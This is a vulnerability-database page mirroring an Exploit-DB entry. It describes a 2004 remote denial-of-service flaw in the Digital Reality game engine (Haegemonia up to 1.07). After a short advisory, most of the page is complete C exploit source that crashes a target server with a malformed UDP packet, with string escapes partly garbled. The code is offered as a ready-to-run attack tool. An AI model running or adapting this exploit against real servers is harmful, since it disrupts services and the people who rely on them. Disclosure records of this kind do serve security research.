Digital Reality Game Engine 1.0.x – Remote Denial of Service

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Digital Reality Game Engine 1.0.x – Remote Denial of Service

漏洞ID 1054395 漏洞类型
发布时间 2004-02-24 更新时间 2004-02-24
Digital Reality Game Engine 1.0.x - Remote Denial of ServiceCVE编号 N/A
Digital Reality Game Engine 1.0.x - Remote Denial of ServiceCNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23752
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/9736/info

It has been reported that the Digital Reality Game engine is prone to a remote denial of service vulnerability. This issue is due to a failure of the application to validate packet data size input supplied by a client.

The immediate consequences of a successful attack will cause the affected server to crash. It has been conjectured that this issue may also be leveraged to execute arbitrary code in the context of the affected application, however this has not been verified.

/*

by Luigi Auriemma

UNIX & WIN VERSION
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif




#define VER     "0.1"
#define BUFFSZ  2048
#define PORT    19664
#define TIMEOUT 5
#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, psz) 
                  < 0) std_err();
#define RECV    if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz) 
                  < 0) std_err();
#define JOIN    "x00x00"
#define BOOM    "x10x00x00x03x0bx01" 
/* boom */      "xffxffxffxff" 
/* message */   "boomyeah"




int timeout(int sock);
u_long resolv(char *host);
void std_err(void);




int main(int argc, char *argv[]) {
    int         sd,
                psz;
    u_short     port = PORT;
    u_char      *buff;
    struct  sockaddr_in peer;

    setbuf(stdout, NULL);

    fputs("n"
        "Haegemonia <= 1.07 remote server crash "VER"n"
        "by Luigi Auriemman"
        "e-mail: [email protected]"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 2) {
        printf("nUsage: %s <server> [port(%u)]n"
            "n", argv[0], PORT);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;
    psz                  = sizeof(peer);

    printf("nStarting attack versus %s:%hunn",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    fputs("- sending JOIN packetn", stdout);
    SEND(JOIN);
    if(timeout(sd) < 0) {
        fputs("nError: socket timeout, server is probably not onlinen", stdout);
        exit(1);
    }
    buff = malloc(BUFFSZ);
    if(!buff) std_err();
    RECV;

    fputs("- sending BOOM packetn", stdout);
    SEND(BOOM);
    if(timeout(sd) < 0) {
        fputs("nServer IS vulnerable!!!!!!!n", stdout);
    } else {
        fputs("nServer doesn't seem to be vulnerablen", stdout);
    }
    close(sd);

    return(0);
}




int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}




u_long resolv(char *host) {
    struct  hostent *hp;
    u_long  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolve hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

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